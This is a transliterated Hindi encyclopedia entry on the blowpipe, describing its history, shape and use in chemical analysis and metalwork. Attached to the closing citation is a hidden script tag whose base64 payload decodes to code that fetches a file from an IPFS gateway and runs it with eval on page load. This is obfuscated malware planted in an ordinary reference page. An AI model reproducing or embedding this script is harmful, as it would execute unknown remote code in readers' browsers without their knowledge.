फुँकनी
phuankani vah b di nali hai jisase phooank marakar ag sulagayi jati haian. phuankani dhatu ki nali hoti hai, jisake dvara dahan ki gati tivr karane ke lie kabhi-kabhi vay ki dhara agni ya laianp ki jvala mean keandrit karana avashyak hota hai. gharoan mean koyale ya lak di ki ag ko tivr karane ke lie baans ki khokhali nali ya paip ke tuk de ka prayog karate haian. dhatuoan ki ju daee ya tankaee mean ya kaanch ki vastu banane mean phuankani ka prayog bahut purane samay se hota chala aya hai. rasayanik vishleshan mean phuankani ka prayog kr aaunstet tatha aiangstr aaum ne praranbh kiya aur vergamain, barziliyas tatha buansen adi ne phuankani mean anek sudhar kie.
akar prakar
sabase prachin tatha sadharan phuankani shankvakar pital ki, lagabhag 7 ianch lanbi tatha chhor ki or samakon mean mu di hokar, ek chhote gol radhran mean samapt hoti huee nali ke roop mean hoti thi, jisaka radhranvala sira jvala mean tatha lanba sira mukh mean lagate the. isase phooankane ke lie vishesh abhyas ki avashyakata hoti hai.
prayog
phuankani ki jvala mean padarth ko rakhane ke lie koyale ka tuk da, peris plastar, kaanch mean laga pletinam ka tar tatha p aaursilen kam mean lae jate haian. agalaniy tatha tap ka kuchalak hone ke karan koyala vishesh roop se prayukt kiya jata hai. isake lie koyale ke sanpi dit charakol gutake milate haian, jinamean padarth rakhakar phuankani ka prayog bahut achchhi tarah kiya ja sakata hai.
muanh se phooankane vali phuankani der tak prayog karane ke lie tatha tivr jvala ke lie upayukt nahian hoti hai. isake lie vayu ki dhara hath tatha pair se chalane vali dhaukaniyoan se, ya vidyut motar ki sahayata se, prapt karate haian.
vishesh mahatv
rasayanik vishleshan mean shushk parikshan tatha padarthoan ko garam karake galane mean phuankani ka vishesh mahatv hai.
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tika tippani aur sandarbh
“khand 8”, hindi vishvakosh, 1966 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 110.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>